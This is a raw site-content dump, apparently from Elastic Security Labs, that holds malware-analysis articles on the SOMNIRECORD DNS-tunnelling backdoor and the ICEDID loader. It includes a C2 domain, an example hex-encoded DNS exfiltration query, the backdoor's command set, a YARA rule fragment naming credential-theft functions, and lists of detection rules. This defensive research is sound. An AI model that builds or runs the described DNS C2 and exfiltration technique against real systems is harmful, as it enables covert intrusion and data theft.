\"SmtpAccountConfiguration\" ascii fullword\n $a6 = \"GetMozillaFromSQLite\" ascii fullword\n`})})]})}function v(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var k=v;return y(A);})();\n;return Component;"},"_id":"articles/attack-chain-leads-to-xworm-and-agenttesla.mdx","_raw":{"sourceFilePath":"articles/attack-chain-leads-to-xworm-and-agenttesla.mdx","sourceFileName":"attack-chain-leads-to-xworm-and-agenttesla.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/attack-chain-leads-to-xworm-and-agenttesla"},"type":"Article","imageUrl":"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/blog-thumb-coin-stacks.jpg","readingTime":"10 min read","series":"","url":"/attack-chain-leads-to-xworm-and-agenttesla","headings":[{"level":2,"title":"Key Takeaways","href":"#key-takeaways"},{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"RTF loader code analysis","href":"#rtf-loader-code-analysis"},{"level":3,"title":"Overview","href":"#overview"},{"level":3,"title":"Extracting the malicious VBA","href":"#extracting-the-malicious-vba"},{"level":3,"title":"Powershell script analysis","href":"#powershell-script-analysis"},{"level":3,"title":"Deleting the malicious document","href":"#deleting-the-malicious-document"},{"level":3,"title":"Persistence","href":"#persistence"},{"level":3,"title":"AMSI bypass","href":"#amsi-bypass"},{"level":3,"title":"User creation","href":"#user-creation"},{"level":3,"title":"Malware update persistence","href":"#malware-update-persistence"},{"level":3,"title":".NET loader","href":"#net-loader"},{"level":3,"title":"Final payload","href":"#final-payload"},{"level":2,"title":"Observed adversary tactics and techniques","href":"#observed-adversary-tactics-and-techniques"},{"level":2,"title":"Tactics","href":"#tactics"},{"level":2,"title":"Techniques/subtechniques","href":"#techniquessubtechniques"},{"level":2,"title":"Detection logic","href":"#detection-logic"},{"level":3,"title":"YARA","href":"#yara"}],"author":[{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"}],"category":[{"title":"Attack pattern","slug":"attack-pattern","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),l=(t,n)=\u003e{for(var e in n)o(t,e,{get:n[e],enumerable:!0})},s=(t,n,e,c)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of p(n))!g.call(t,a)\u0026\u0026a!==e\u0026\u0026o(t,a,{get:()=\u003en[a],enumerable:!(c=f(n,a))||c.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(_(t)):{},s(n||!t||!t.__esModule?o(e,\"default\",{value:t,enumerable:!0}):e,t)),M=t=\u003es(o({},\"__esModule\",{value:!0}),t);var i=j((b,u)=\u003e{u.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003ek});var r=d(i()),k={title:\"Attack pattern\",slug:\"attack-pattern\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"categories/attack-pattern.mdx","_raw":{"sourceFilePath":"categories/attack-pattern.mdx","sourceFileName":"attack-pattern.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/attack-pattern"},"type":"Category","url":"/categories/attack-pattern"},{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Not sleeping anymore: SOMNIRECORD's wake-up call","slug":"not-sleeping-anymore-somnirecords-wakeup-call","date":"2023-03-22","description":"Elastic Security Labs researchers identified a new malware family written in C++ that we refer to as SOMNIRECORD. This malware functions as a backdoor and communicates with command and control (C2) while masquerading as DNS.","image":"blog-thumb-steel-engine.jpg","tags":["malware analysis","somnirecord","siestagraph","naplistener"],"body":{"raw":"\n### Introduction\n\nWhile monitoring the [REF2924 activity group](https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns), Elastic Security Labs researchers identified a new malware family written in C++ that we refer to as SOMNIRECORD. This malware functions as a backdoor and communicates with command and control (C2) while masquerading as DNS, allowing attackers to bypass network security controls such as firewalls and intrusion detection systems. Like [NAPLISTENER](https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph) and [SIESTAGRAPH](https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry), these factors make it difficult to detect and block using strictly network-based technologies.\n\n### Analysis\n\nUpon execution, SOMNIRECORD first generates a random string of three characters used as a unique identifier for the running malware instance. It then probes a domain name that is hardcoded into the binary (\" `dafadfweer.top`\") by appending the random three-character string and the string \" `-PROBE`\" to the domain name. SOMNIRECORD simulates a DNS query to retrieve the number of commands that are queued for the backdoor to execute, each stored in a `TXT` record of the associated domain.\n\n![Dns query with PROBE as subdomain](/assets/images/not-sleeping-anymore-somnirecords-wakeup-call/image2.jpg)\n\n![Pseudocode dnsQuery call](/assets/images/not-sleeping-anymore-somnirecords-wakeup-call/image4.jpg)\n\nAfter obtaining the number of commands waiting to be executed, the backdoor retrieves each command individually by sending a DNS query for a `TXT` record. The backdoor prepends the previously-generated random string to the \" `-CMD`\" string before sending the DNS query. This allows the backdoor to receive each command individually and execute them accordingly.\n\n![Dns query with CMD as subdomain](/assets/images/not-sleeping-anymore-somnirecords-wakeup-call/image5.jpg)\n\n### Command handling\n\nThe malware's command handling function is a critical component that enables it to execute commands received from the C2 server. This function processes the command and performs the appropriate action based on the command type. In this malware, there are five commands that the malware can execute: `SYS, PSL, sleep, ECM` , and `WS` :\n\n![Pseudocode Command handling function](/assets/images/not-sleeping-anymore-somnirecords-wakeup-call/image1.jpg)\n\n“ `SYS` ” is used to retrieve information about the infected machine. When this command is executed, the SOMNIRECORD payload collects information about the computer name, the number of processors, OEM ID, and processor type. This information can be used to fingerprint/identify specific infected machines.\n\n“ `PSL` ” is used to list all processes currently running on the infected machine by executing the system command “tasklist”.\n\n“ `ECM` ” allows the malware to execute any software already present on the system, such as cmd.exe.\n\n“ `sleep` ” is used to change the beacon interval to the c2 server.\n\n“ `WS` ” is used to deploy an ASPX-based webshell to a specified path. The ASPX is hardcoded into the malware itself.\n\nTo communicate command results to its C2 server, SOMNIRECORD employs a unique technique that involves encoding the output of executed commands as hex values, prepending the previously generated random string to the \" `-DATA`\" string and then appending the hex values. The malware then performs a DNS query to the subdomain, allowing the encoded command output to be transmitted to the C2 server for example: `XXX-DATA-68656c6c6f20776f726c64.dafadfweer.top`\n\n![Dns query with DATA as subdomain](/assets/images/not-sleeping-anymore-somnirecords-wakeup-call/image3.png)\n\n### Resources\n\nElastic Security Labs has provided a SOMNIRECORD signature in our open protections artifact repository [here](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SomniRecord.yar).\n\n### Sources\n\nCode similarity analyses play an important role in discovering the sources of malicious code used by adversaries. In an effort to identify the source of SOMNIRECORD, we identified an open source project called [DNS-Persist](https://github.com/chouaibhm/DNS-Persist/) that contained similar logic. Like NAPLISTENER, we believe the attacker was inspired by this project and then added modifications to facilitate success in a specific target environment.\n\n### Key takeaways\n\n- The use of open source projects by the attacker indicates that they are taking steps to customize existing tools for their specific needs and may be attempting to counter attribution attempts\n- SOMNIRECORD uses DNS to pattern communication with its command and control (C2), which enables attackers to bypass network egress controls and monitoring\n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var a in e)r(n,a,{get:e[a],enumerable:!0})},o=(n,e,a,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let i of u(e))!g.call(n,i)\u0026\u0026i!==a\u0026\u0026r(n,i,{get:()=\u003ee[i],enumerable:!(s=m(e,i))||s.enumerable});return n};var y=(n,e,a)=\u003e(a=n!=null?h(p(n)):{},o(e||!n||!n.__esModule?r(a,\"default\",{value:n,enumerable:!0}):a,n)),b=n=\u003eo(r({},\"__esModule\",{value:!0}),n);var d=f((C,c)=\u003e{c.exports=_jsx_runtime});var R={};w(R,{default:()=\u003ek,frontmatter:()=\u003eS});var t=y(d()),S={title:\"Not sleeping anymore: SOMNIRECORD's wake-up call\",slug:\"not-sleeping-anymore-somnirecords-wakeup-call\",date:\"2023-03-22\",description:\"Elastic Security Labs researchers identified a new malware family written in C++ that we refer to as SOMNIRECORD. This malware functions as a backdoor and communicates with command and control (C2) while masquerading as DNS.\",author:[{slug:\"salim-bitam\"}],image:\"blog-thumb-steel-engine.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"malware analysis\",\"somnirecord\",\"siestagraph\",\"naplistener\"]};function l(n){let e=Object.assign({h3:\"h3\",p:\"p\",a:\"a\",code:\"code\",img:\"img\",ul:\"ul\",li:\"li\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h3,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"While monitoring the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns\",rel:\"nofollow\",children:\"REF2924 activity group\"}),\", Elastic Security Labs researchers identified a new malware family written in C++ that we refer to as SOMNIRECORD. This malware functions as a backdoor and communicates with command and control (C2) while masquerading as DNS, allowing attackers to bypass network security controls such as firewalls and intrusion detection systems. Like \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph\",rel:\"nofollow\",children:\"NAPLISTENER\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry\",rel:\"nofollow\",children:\"SIESTAGRAPH\"}),\", these factors make it difficult to detect and block using strictly network-based technologies.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"analysis\",children:\"Analysis\"}),`\n`,(0,t.jsxs)(e.p,{children:['Upon execution, SOMNIRECORD first generates a random string of three characters used as a unique identifier for the running malware instance. It then probes a domain name that is hardcoded into the binary (\" ',(0,t.jsx)(e.code,{children:\"dafadfweer.top\"}),'\") by appending the random three-character string and the string \" ',(0,t.jsx)(e.code,{children:\"-PROBE\"}),'\" to the domain name. SOMNIRECORD simulates a DNS query to retrieve the number of commands that are queued for the backdoor to execute, each stored in a ',(0,t.jsx)(e.code,{children:\"TXT\"}),\" record of the associated domain.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/not-sleeping-anymore-somnirecords-wakeup-call/image2.jpg\",alt:\"Dns query with PROBE as subdomain\",width:\"984\",height:\"102\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/not-sleeping-anymore-somnirecords-wakeup-call/image4.jpg\",alt:\"Pseudocode dnsQuery call\",width:\"961\",height:\"126\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"After obtaining the number of commands waiting to be executed, the backdoor retrieves each command individually by sending a DNS query for a \",(0,t.jsx)(e.code,{children:\"TXT\"}),' record. The backdoor prepends the previously-generated random string to the \" ',(0,t.jsx)(e.code,{children:\"-CMD\"}),'\" string before sending the DNS query. This allows the backdoor to receive each command individually and execute them accordingly.']}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/not-sleeping-anymore-somnirecords-wakeup-call/image5.jpg\",alt:\"Dns query with CMD as subdomain\",width:\"882\",height:\"159\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"command-handling\",children:\"Command handling\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware's command handling function is a critical component that enables it to execute commands received from the C2 server. This function processes the command and performs the appropriate action based on the command type. In this malware, there are five commands that the malware can execute: \",(0,t.jsx)(e.code,{children:\"SYS, PSL, sleep, ECM\"}),\" , and \",(0,t.jsx)(e.code,{children:\"WS\"}),\" :\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/not-sleeping-anymore-somnirecords-wakeup-call/image1.jpg\",alt:\"Pseudocode Command handling function\",width:\"550\",height:\"388\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"\\u201C \",(0,t.jsx)(e.code,{children:\"SYS\"}),\" \\u201D is used to retrieve information about the infected machine. When this command is executed, the SOMNIRECORD payload collects information about the computer name, the number of processors, OEM ID, and processor type. This information can be used to fingerprint/identify specific infected machines.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"\\u201C \",(0,t.jsx)(e.code,{children:\"PSL\"}),\" \\u201D is used to list all processes currently running on the infected machine by executing the system command \\u201Ctasklist\\u201D.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"\\u201C \",(0,t.jsx)(e.code,{children:\"ECM\"}),\" \\u201D allows the malware to execute any software already present on the system, such as cmd.exe.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"\\u201C \",(0,t.jsx)(e.code,{children:\"sleep\"}),\" \\u201D is used to change the beacon interval to the c2 server.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"\\u201C \",(0,t.jsx)(e.code,{children:\"WS\"}),\" \\u201D is used to deploy an ASPX-based webshell to a specified path. The ASPX is hardcoded into the malware itself.\"]}),`\n`,(0,t.jsxs)(e.p,{children:['To communicate command results to its C2 server, SOMNIRECORD employs a unique technique that involves encoding the output of executed commands as hex values, prepending the previously generated random string to the \" ',(0,t.jsx)(e.code,{children:\"-DATA\"}),'\" string and then appending the hex values. The malware then performs a DNS query to the subdomain, allowing the encoded command output to be transmitted to the C2 server for example: ',(0,t.jsx)(e.code,{children:\"XXX-DATA-68656c6c6f20776f726c64.dafadfweer.top\"})]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/not-sleeping-anymore-somnirecords-wakeup-call/image3.png\",alt:\"Dns query with DATA as subdomain\",width:\"692\",height:\"311\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"resources\",children:\"Resources\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic Security Labs has provided a SOMNIRECORD signature in our open protections artifact repository \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SomniRecord.yar\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"sources\",children:\"Sources\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Code similarity analyses play an important role in discovering the sources of malicious code used by adversaries. In an effort to identify the source of SOMNIRECORD, we identified an open source project called \",(0,t.jsx)(e.a,{href:\"https://github.com/chouaibhm/DNS-Persist/\",rel:\"nofollow\",children:\"DNS-Persist\"}),\" that contained similar logic. Like NAPLISTENER, we believe the attacker was inspired by this project and then added modifications to facilitate success in a specific target environment.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"The use of open source projects by the attacker indicates that they are taking steps to customize existing tools for their specific needs and may be attempting to counter attribution attempts\"}),`\n`,(0,t.jsx)(e.li,{children:\"SOMNIRECORD uses DNS to pattern communication with its command and control (C2), which enables attackers to bypass network egress controls and monitoring\"}),`\n`]})]})}function D(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(l,n)})):l(n)}var k=D;return b(R);})();\n;return Component;"},"_id":"articles/not-sleeping-anymore-somnirecords-wakeup-call.mdx","_raw":{"sourceFilePath":"articles/not-sleeping-anymore-somnirecords-wakeup-call.mdx","sourceFileName":"not-sleeping-anymore-somnirecords-wakeup-call.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/not-sleeping-anymore-somnirecords-wakeup-call"},"type":"Article","imageUrl":"/assets/images/not-sleeping-anymore-somnirecords-wakeup-call/blog-thumb-steel-engine.jpg","readingTime":"4 min read","series":"","url":"/not-sleeping-anymore-somnirecords-wakeup-call","headings":[{"level":3,"title":"Introduction","href":"#introduction"},{"level":3,"title":"Analysis","href":"#analysis"},{"level":3,"title":"Command handling","href":"#command-handling"},{"level":3,"title":"Resources","href":"#resources"},{"level":3,"title":"Sources","href":"#sources"},{"level":3,"title":"Key takeaways","href":"#key-takeaways"}],"author":[{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Thawing the permafrost of ICEDID Summary","slug":"thawing-the-permafrost-of-icedid-summary","date":"2023-03-21","description":"Elastic Security Labs analyzed a recent ICEDID variant consisting of a loader and bot payload. By providing this research to the community end-to-end, we hope to raise awareness of the ICEDID execution chain, capabilities, and design.","image":"blog-thumb-tree-icicles.jpg","subtitle":"Elastic Security Labs details a recent ICEDID GZip variant","tags":["malware analysis","icedid"],"body":{"raw":"\nICEDID is a malware family first [described](https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/) in 2017 by IBM X-force researchers and is associated with the theft of login credentials, banking information, and other personal information. ICEDID has always been a prevalent family, but has achieved even more growth since EMOTET’s temporary [disruption](https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation) in early 2021. ICEDID has been linked to the distribution of other distinct malware families including [DarkVNC](https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc) and [COBALT STRIKE](https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot). Regular industry reporting, including research publications like this one, help mitigate this threat.\n\nElastic Security Labs analyzed a recent ICEDID variant consisting of a loader and bot payload. By providing this research to the community end-to-end, we hope to raise awareness of the ICEDID execution chain, highlight its capabilities, and deliver insights about how it is designed.\n\n### Execution Chain\n\nICEDID employs multiple stages before establishing persistence via a scheduled task and may retrieve components from C2 dynamically. The following diagram illustrates major phases of the ICEDID execution chain.\n\n![ICEDID attack chain](/assets/images/thawing-the-permafrost-of-icedid-summary/image1.jpg)\n\n### Research Paper Overview\n\nElastic Security Labs described the full execution chain of a recent ICEDID sample in a detailed research [paper](https://www.elastic.co/pdf/elastic-security-labs-thawing-the-permafrost-of-icedid.pdf) hosted at Elastic Security Labs. In addition, we provide a comprehensive analysis of this malware sample and capabilities, including: - Virtualization detection and anti-analysis - C2 polling operations - Shellcode execution methods - Credential access mechanisms - Websocket connections - Installing a web browser proxy to capture all user traffic - Reverse shell and VNC server installation - Certificate pinning - Data validation - ICEDID observable TTPs - Links to useful resources from Elastic\n\n### Detections and preventions\n\n#### Detection logic\n\n- [Enumeration of Administrator Accounts](https://www.elastic.co/guide/en/security/current/enumeration-of-administrator-accounts.html)\n- [Command Shell Activity Started via RunDLL32](https://www.elastic.co/guide/en/security/current/command-shell-activity-started-via-rundll32.html)\n- [Security Software Discovery using WMIC](https://www.elastic.co/guide/en/security/current/security-software-discovery-using-wmic.html)\n- [Suspicious Execution from a Mounted Device](https://www.elastic.co/guide/en/security/current/suspicious-execution-from-a-mounted-device.html)\n- [Windows Network Enumeration](https://www.elastic.co/guide/en/security/current/windows-network-enumeration.html)\n- [Unusual DLL Extension Loaded by Rundll32 or Regsvr32](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_dll_extension_loaded_by_rundll32_or_regsvr32.toml)\n- [Suspicious Windows Script Interpreter Child Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_windows_script_interpreter_child_process.toml)\n- [RunDLL32 with Unusual Arguments](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml)\n\n#### Preventions (source: [https://github.com/elastic/protections-artifacts/](https://github.com/elastic/protections-artifacts/))\n\n- Malicious Behavior Detection Alert: Command Shell Activity\n- Memory Threat Detection Alert: Shellcode Injection\n- Malicious Behavior Detection Alert: Unusual DLL Extension Loaded by Rundll32 or Regsvr32\n- Malicious Behavior Detection Alert: Suspicious Windows Script Interpreter Child Process\n- Malicious Behavior Detection Alert: RunDLL32 with Unusual Arguments\n- Malicious Behavior Detection Alert: Windows Script Execution from Archive File\n\n#### YARA\n\nElastic Security has created multiple YARA rules related to the different stages/components within ICEDID infection, these can be found in the signature linked below: - [Windows.Trojan.ICEDID](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_IcedID.yar)\n\n---\n\nElastic Security Labs is a team of dedicated researchers and security engineers focused on disrupting adversaries though the publication of detailed detection logic, protections, and applied threat research.\n\nFollow us on @elasticseclabs or visit our research portal for more resources and research.\n","code":"var Component=(()=\u003e{var d=Object.create;var a=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var w=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!f.call(t,r)\u0026\u0026r!==n\u0026\u0026a(t,r,{get:()=\u003ee[r],enumerable:!(o=u(e,r))||o.enumerable});return t};var b=(t,e,n)=\u003e(n=t!=null?d(m(t)):{},s(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(a({},\"__esModule\",{value:!0}),t);var c=w((_,l)=\u003e{l.exports=_jsx_runtime});var E={};g(E,{default:()=\u003eI,frontmatter:()=\u003ev});var i=b(c()),v={title:\"Thawing the permafrost of ICEDID Summary\",slug:\"thawing-the-permafrost-of-icedid-summary\",date:\"2023-03-21\",subtitle:\"Elastic Security Labs details a recent ICEDID GZip variant\",description:\"Elastic Security Labs analyzed a recent ICEDID variant consisting of a loader and bot payload. By providing this research to the community end-to-end, we hope to raise awareness of the ICEDID execution chain, capabilities, and design.\",author:[{slug:\"cyril-francois\"},{slug:\"daniel-stepanic\"}],image:\"blog-thumb-tree-icicles.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"malware analysis\",\"icedid\"]};function h(t){let e=Object.assign({p:\"p\",a:\"a\",h3:\"h3\",img:\"img\",h4:\"h4\",ul:\"ul\",li:\"li\",hr:\"hr\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(e.p,{children:[\"ICEDID is a malware family first \",(0,i.jsx)(e.a,{href:\"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/\",rel:\"nofollow\",children:\"described\"}),\" in 2017 by IBM X-force researchers and is associated with the theft of login credentials, banking information, and other personal information. ICEDID has always been a prevalent family, but has achieved even more growth since EMOTET\\u2019s temporary \",(0,i.jsx)(e.a,{href:\"https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation\",rel:\"nofollow\",children:\"disruption\"}),\" in early 2021. ICEDID has been linked to the distribution of other distinct malware families including 